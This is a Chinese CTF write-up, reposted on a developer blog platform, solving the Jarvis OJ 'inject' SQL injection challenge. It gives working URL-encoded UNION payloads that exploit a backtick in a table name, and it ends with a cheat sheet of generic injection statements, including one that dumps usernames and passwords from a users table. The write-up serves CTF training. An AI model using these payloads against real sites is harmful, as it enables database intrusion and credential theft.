Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Jarvis OJ inject

Jarvis OJ inject

作者头像
wywwzjj
发布于 2023-05-09 06:35:03
发布于 2023-05-09 06:35:03
44300
代码可运行
举报
运行总次数:0
代码可运行

http://web.jarvisoj.com:32794/index.php~

得到源码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
?>

?table=flag 正常响应 ==> 存在 secret_flag 表 注意到这个反引号 ``,其作用是区分 MySQL 保留字与普通字符

本地尝试

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
create table desc  # 报错
create table `desc`  # 能成功执行

desc `abc` `def`
desc abc def 
# 效果是一样的

结合题目 ==> desc `secret_flag` ` (注意空格,此处如果是 desc `secret_flag`` 将被认为是执行 desc secret_flag`)

顺手执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?table=flag`%20`%20union%20select%201

发现还是没有变化,依旧显示 flag{xxx} 不要灰心,这只显示了一条数据而已,加入 limit 试试

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?table=flag`%20`%20union%20select%201%20limit%201,1

==> 1

查询字段

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?table=flag`%20`%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20
where%20table_name=0x7365637265745f666c6167%20limit%201,1

==> flagUwillNeverKnow (如果 被过滤,此处 table_name 的值要进行 hex 编码)

查询数据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
table=flag`%20`%20union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1

PS:也可以不用 limit,直接 where 0,使得前面的查询为空,则直接显示我们的数据 table=flag%20%20where%200%20union%20select%20flagUwillNeverKnow%20from%20secret_flag

补充知识

information_schema 存储数据库信息的数据库

数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => columns_name

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- 获取当前数据库中所有表
select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 

-- 获得所有列名(字段)
select 1,group_concat(column_name) from information_schema.columns where table_name="flag"; 

-- 下载数据
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

-- 获取表中的字段名
-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019/02/26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
超全sql注入实用语句_sql注入语句实例大全
目录 判断是否存在注入 判断列数 Union联合注入 爆数据库 爆表 爆字段 爆数据 sql盲注 导入导出文件 Post注入 修改useragent: 修改referer: 修改cookie gr
全栈程序员站长
2022/11/16
2.8K0
sqli-labs通关笔记(1-30)
sqli-labs是一款练习sql注入的著名靶场。而造成SQL注入的原因是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。通过本文将sqli-la
逍遥子大表哥
2022/04/15
2.2K0
sqli-labs通关笔记(1-30)
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4K1
sqli-labs练习(第一关)——字符型
首先,进入靶场 1、判断是数字型还是字符型 在url后面分别添加?id=1, ?id=2, ?id=2-1 ,观察页面的变化,判断是字符型还是数字型。 (如果id=2-1 与 id=1的页面一样,就
宸寰客
2020/07/20
6100
sqli-labs练习(第一关)——字符型
一篇文章教给你Bypass学习基础
使用过滤函数对恶意攻击进行过滤,绕过思路: ①大小写替换 ②变换提交方式:如get请求变post/cookie请求绕过 ③编码绕过:url编码、基于语句重叠、注释符等
天钧
2020/09/30
2.1K0
一篇文章教给你Bypass学习基础
SQLI-LABS 更新帖(二)
Less-2 /sqli-labs/Less-2/?id=1 代码如下: $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysq
ChaMd5安全团队
2018/03/29
9860
SQLI-LABS 更新帖(二)
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:
Ms08067安全实验室
2022/12/22
4.2K0
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
sql注入-联合查询总结
mysql通过information_schema这个表查询相应的数据库名,表名,字段名。
Gamma实验室
2020/12/23
2.3K0
sql注入-联合查询总结
Pentester之SQL过关纪实
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术,如:XSS跨站脚本攻击、SQL注入、目录遍历、命令注入、代码注入 、XML攻击、LDAP攻击、文件上传。靶场介绍可以查看官方网站[1]靶场环境搭建方法可以参考文章[2],先从SQL注入顺手练练
网络安全自修室
2020/08/21
5380
Pentester之SQL过关纪实
CTF| SQL注入之获取数据类
上周发了一篇 SQL注入登录类的题型文章分析,这种题目一般是绕过登录限制。常规的SQL注入题需要我们一步步注入出数据,大部分题目需要我们有一定代码审计的能力,分析出代码存在的注入漏洞才能获得flag。 简单的注入题目 简单的sql注入题目就和你在sqli平台上练习的一样,按照sql的基本注入方式一步步下来,就一定能够获得falg。 题目入口: http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php 题目来源:ha
漏斗社区
2018/03/28
1.7K0
CTF| SQL注入之获取数据类
SQL注入(入门)
收到请求的后端PHP代码会将GET方式传入的id=1与前面的SQL查询语句进行拼接,最后传给执行MySQL的查询语句如下:
Andromeda
2022/10/27
2K0
SQL注入(入门)
[极客大挑战2019]babysql1题解
在做题页面输入账号为admin,密码随便输入一个,提示密码错误。此外username和password竟然用get方法传输,我很意外,不过倒是方便了测试。
KevinBruce
2020/03/19
1.2K0
CtfShow之SQL注入-持续更新
CtfShow之SQL注入 web171 查询语句 //拼接sql语句查找指定ID用户 $sql = "select username,password from user where userna
用户2616264
2023/05/18
3760
Sqli-labs 通关笔记
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结
wywwzjj
2023/05/09
5190
SQL注入报错注入函数[通俗易懂]
报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
全栈程序员站长
2022/11/11
4.2K0
SQL注入报错注入函数[通俗易懂]
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/04/15
9710
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
安全笔记
CONCAT()函数用于将多个字符串连接成一个字符串。 使用数据表Info作为示例,其中SELECT id,name FROM info LIMIT 1;的返回结果为
XRSec
2022/02/13
3560
意外发现一套cms的注入漏洞
事情是这样的某一天在一个安全交流群里聊天,一个朋友说他们老师叫他去检测下他们学校官网,后来朋友他找到了我让我帮助他进行安全检测。
ittongluren
2019/11/20
1K0
意外发现一套cms的注入漏洞
报错注入学习[通俗易懂]
复习完sqlilabs 1-4关 熟悉了简单sql注入的payload,不用反复看wp的payload,学到了可以
全栈程序员站长
2022/11/10
5140
报错注入学习[通俗易懂]
SQL注入常用姿势
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
用户11062199
2024/05/30
1300
相关推荐
超全sql注入实用语句_sql注入语句实例大全
更多 >
LV.1
字节跳动安全工程师
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验